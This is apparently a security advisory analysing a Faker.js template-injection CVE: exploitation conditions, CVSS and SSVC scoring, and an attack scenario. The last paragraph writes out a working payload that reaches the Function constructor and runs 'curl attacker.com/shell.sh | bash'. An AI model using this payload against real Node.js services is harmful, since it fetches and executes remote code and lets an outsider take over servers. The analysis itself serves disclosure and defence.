Faker.js CVE-2026-73231

Exploitation requires that attacker-controlled strings reach the faker.helpers.fake method (or the underlying fakeEval function) as template input. In a server-side Node.js context, this condition is met whenever an application passes external user input - such as HTTP request parameters, form fields, or API body values - directly to faker.helpers.fake without sanitization. In a local/development context, the attacker needs low-privileged access to execute JavaScript in the same Node.js environment where faker is invoked. The vulnerability is also present in browser-side usage where user input is funneled to faker templates, though browser sandbox constraints limit post-exploitation impact compared to server-side. There is no requirement for a specific non-default configuration of Faker itself - the vulnerable code path is exercised whenever faker.helpers.fake processes a template string that resolves to a function. Exploitation is limited in projects that treat faker as a devDependency and never expose its template evaluation to external input.

The CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N, score 7.8) positions this as a local, low-complexity attack requiring low privileges. This framing is accurate for the most common Faker.js use case - a developer or CI process where the attacker already has local code execution and can craft templates. However, real-world risk is significantly higher for applications that accept user input and pass it to faker.helpers.fake server-side (e.g., mock API generators, data preview tools, seeding endpoints), where the effective attack vector becomes network-reachable with no privileges required. EPSS data is not available in the provided intelligence, so exploitation probability cannot be quantified. The vulnerability is not in CISA KEV and no standalone POC was referenced, but the commit diff fully discloses the attack mechanism, making independent weaponization straightforward. SSVC signals: exploitation status is none-confirmed; technically automatable once a vulnerable endpoint is identified; technical impact is total (C:H/I:H/A:H). Priority should be elevated for any deployment where user-controlled strings reach faker.helpers.fake.

An attacker identifies a server-side API endpoint (e.g., a mock-data preview or seeding service) that accepts a template string and passes it directly to faker.helpers.fake. The attacker submits a crafted template such as {{custom.evil.constructor.constructor('require("child_process").execSync("curl attacker.com/shell.sh | bash")')()}}, which the old resolveProperty logic resolves by traversing the function's constructor chain to reach the built-in Function constructor, then executes the injected payload with the privileges of the Node.js process. The full exploitation mechanism is disclosed by the commit diff, lowering the bar for independent weaponization.